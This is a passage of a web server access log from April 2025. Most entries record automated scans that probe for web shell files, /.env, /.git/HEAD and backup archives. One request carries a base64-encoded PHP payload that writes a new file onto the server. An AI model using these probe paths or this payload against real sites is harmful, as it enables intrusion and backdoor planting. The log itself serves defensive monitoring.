HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:02 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:02 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:02 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:03 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:04 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:04 -0400] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:05 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:05 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:05 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:06 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:07 -0400] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:12 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:13 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:14 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:16 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:18 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:18 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:19 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:20 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:20 -0400] "GET /wp-includes/Requests/Response/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:21 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:22 -0400] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:22 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:23 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:24 -0400] "GET /wp-mail.php/wp-includes/ID3/wp-mail.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:25 -0400] "GET /wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:25 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:26 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:27 -0400] "GET /css/item.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:28 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:28 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:29 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:29 -0400] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:29 -0400] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:29 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:30 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:31 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:31 -0400] "GET /wp-includes/SimplePie/Content/Type/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:32 -0400] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:33 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:34 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:35 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:36 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 40.76.18.60 - - [11/Apr/2025:23:51:37 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 34.213.5.253 - - [12/Apr/2025:00:17:17 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4" 43.135.134.127 - - [12/Apr/2025:00:24:05 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 82.165.83.144 - - [12/Apr/2025:00:38:22 -0400] "GET /backup.zip HTTP/1.1" 301 795 "-" "-" 89.46.108.90 - - [12/Apr/2025:00:38:28 -0400] "GET /Archive.zip HTTP/1.1" 301 795 "-" "-" 217.113.194.143 - - [12/Apr/2025:00:40:54 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)" 217.113.194.144 - - [12/Apr/2025:00:41:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)" 13.79.31.54 - - [12/Apr/2025:00:41:31 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:41:36 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:41:41 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:41:44 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:41:47 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:41:48 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:41:51 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:41:57 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:42:00 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 13.79.31.54 - - [12/Apr/2025:00:42:02 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 18.237.228.189 - - [12/Apr/2025:01:58:45 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01" 154.83.103.104 - - [12/Apr/2025:02:13:14 -0400] "GET /.git/HEAD HTTP/1.1" 403 1242 "-" "-" 154.83.103.104 - - [12/Apr/2025:02:13:14 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 159.65.24.22 - - [12/Apr/2025:02:18:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 147.182.159.235 - - [12/Apr/2025:02:39:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 66.249.79.101 - - [12/Apr/2025:02:51:38 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.99 - - [12/Apr/2025:02:51:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 2a06:98c0:360c:4c10:3265:343e:b54:b47e - - [12/Apr/2025:03:17:42 -0400] "GET / HTTP/1.1" 301 795 "-" "Cloudflare-SSLDetector" 172.70.65.155 - - [12/Apr/2025:03:17:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Cloudflare-SSLDetector" 18.223.108.59 - - [12/Apr/2025:03:30:24 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 162.0.229.206 - - [12/Apr/2025:03:48:56 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36 Edg/115.0.1901.203" 178.34.161.192 - - [12/Apr/2025:03:59:38 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 196.251.80.238 - - [12/Apr/2025:04:04:01 -0400] "GET /? HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 182.42.104.32 - - [12/Apr/2025:04:13:44 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.62.226.32 - - [12/Apr/2025:04:34:13 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 152.42.193.35 - - [12/Apr/2025:04:49:02 -0400] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 152.42.193.35 - - [12/Apr/2025:04:49:23 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 152.42.193.35 - - [12/Apr/2025:04:49:34 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 152.42.193.35 - - [12/Apr/2025:04:49:49 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 152.42.193.35 - - [12/Apr/2025:04:50:01 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 152.42.193.35 - - [12/Apr/2025:04:50:13 -0400] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:24 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:25 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:25 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:25 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:26 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:26 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:27 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:27 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:27 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [12/Apr/2025:05:03:28 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 167.172.21.236 - - [12/Apr/2025:05:05:13 -0400] "GET /wp-admin/css/colors/blue/blue.php?wall=ZWNobyAnQmxhY2sgQm90Jztmd3JpdGUoZm9wZW4oJ2Jsa2F0Yml0LnBocCcsJ3crJyksJzw/cGhwIGVjaG8gIkJsYWNrIEJvdCI7Pz4nKTs= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 167.172.21.236 - - [12/Apr/2025:05:05:16 -0400] "GET /simple.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 167.172.21.236 - - [12/Apr/2025:05:05:19 -0400] "GET /class.api.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 13.68.75.117 - - [12/Apr/2025:05:29:12 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:13 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:14 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:14 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:15 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:15 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:16 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:16 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:17 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:17 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:18 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:18 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:18 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:19 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:19 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:20 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:20 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:21 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:21 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:21 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:22 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:22 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:22 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:23 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:23 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:23 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:24 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:24 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:24 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:25 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:25 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:26 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:26 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:26 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:26 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:27 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:27 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:27 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:28 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:29 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:29 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:30 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:30 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:31 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:31 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:32 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:32 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:32 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:33 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:33 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:33 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:34 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:34 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:34 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:35 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:35 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:35 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:36 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:36 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:36 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:37 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:37 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:37 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:38 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:38 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:38 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:39 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:39 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:39 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:40 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:40 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:40 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:40 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:41 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:41 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:41 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:42 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:42 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:43 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:43 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:43 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:43 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:44 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.68.75.117 - - [12/Apr/2025:05:29:44 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 82.118.29.10 - - [12/Apr/2025:05:51:19 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 66.249.79.96 - - [12/Apr/2025:06:47:20 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.96 - - [12/Apr/2025:06:47:21 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 114.119.150.215 - - [12/Apr/2025:06:49:58 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot)" 162.0.232.217 - 